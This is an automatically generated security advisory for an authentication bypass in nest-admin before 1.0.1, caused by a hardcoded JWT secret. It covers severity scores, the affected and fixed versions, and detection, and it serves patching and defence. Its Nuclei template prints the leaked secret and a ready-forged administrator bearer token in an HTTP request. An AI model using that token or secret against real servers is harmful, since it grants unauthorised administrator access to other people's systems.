CVE-2026-117564: nest-admin before 1.0.1 Authentication Bypass via Hardcoded JWT Secret
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-25 00:24 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
nest-admin before 1.0.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge administrator tokens by using a hardcoded JWT_SECRET committed in .env.production. Attackers can sign tokens with the known secret that JwtStrategy and RbacGuard trust, impersonating any user ID or claiming the admin role for full administrative access.
Description quoted from the CVE record (assigned by VulnCheck, published 2026-10-27).
Weakness: Use of Hard-coded Cryptographic Key
How it can be exploited
Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: total.
Public exploit evidence (Exploit Observer)
Exploit Observer found 2 code repositories naming this CVE.
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 5 references on Exploit Observer
Live scores
- EPSS
- 0.006
low predicted chance of attack - VEDAS
- 0.989
strong exploit evidence - On CISA KEV
- Not listed
- Detection rule
- Nuclei
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Buqiyuan nest-admin | before 1.0.1 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
Fixed versions stated in the CVE record: 1.0.1.
Vendor guidance:
How to detect it
Nuclei template (active check)
Nest-Admin - Hardcoded JWT Secret Authentication Bypass
nest-admin before 1.0.1 ships a hardcoded JWT_SECRET (“admin!@#123”) committed in .env.production. The NestJS JwtStrategy.validate() trusts any Bearer token that verifies against this secret and returns its payload unchanged, and no issued-token check exists in the pre-fix request path. A remote unauthenticated attacker can forge an HS256 token signed with the known secret carrying {“uid”:1,”pv”:1} to impersonate the first user (the super administrator, uid 1) with no valid credentials. This template submits a self-signed admin token to the authenticated GET /api/account/profile endpoint and confirms the bypass from the returned account-profile object, proving the forged token was accepted.
Name and description quoted from the template, written by VEDAS.
The template sends 1 request (GET /api/account/profile); it decides using status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2026-117564.yamlShow the template (51 lines)
id: CVE-2026-117564
info:
name: "Nest-Admin - Hardcoded JWT Secret Authentication Bypass"
author: vedas-arpsyndicate
severity: critical
description: |
nest-admin before 1.0.1 ships a hardcoded JWT_SECRET ("admin!@#123") committed in
.env.production. The NestJS JwtStrategy.validate() trusts any Bearer token that verifies
against this secret and returns its payload unchanged, and no issued-token check exists in
the pre-fix request path. A remote unauthenticated attacker can forge an HS256 token signed
with the known secret carrying {"uid":1,"pv":1} to impersonate the first user (the super
administrator, uid 1) with no valid credentials. This template submits a self-signed admin
token to the authenticated GET /api/account/profile endpoint and confirms the bypass from
the returned account-profile object, proving the forged token was accepted.
reference:
- https://www.exploit.observer/?keyword=CVE-2026-117564&match=exact
- https://subdomain.center/?engine=ammonites&keyword=nest-admin&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-117564
cwe-id: CWE-321
metadata:
verified: false
tags: cve,cve2026,nest-admin,jwt,auth-bypass
http:
- raw:
- |
GET /api/account/profile HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEsInB2IjoxLCJleHAiOjQxMDI0NDQ4MDB9.30SKNESFovFeZOlF3rbRgjC0tdRxmjzpgF4pbj25uHo
Accept: application/json
matchers-condition: and
matchers:
- type: word
part: body
words:
- "\"username\""
- "\"nickname\""
- "\"avatar\""
- "\"remark\""
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
CVE-2026-117564.yaml on GitHub
References
Vendor advisories and patches
Technical analysis and advisories
- GitHub Issue #93 (issue-tracking)
- GitHub Issue #92 (issue-tracking)
- https://github.com/buqiyuan/nest-admin/blob/2eeccc4cb699d1aedbe04b4437a9d095cde02c74/.env.production#L5 (technical-description)
- VulnCheck Advisory: nest-admin before 1.0.1 Authentication Bypass via Hardcoded JWT Secret (third-party-advisory)
Other references
- https://github.com/buqiyuan/nest-admin (product)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.
Supporting partners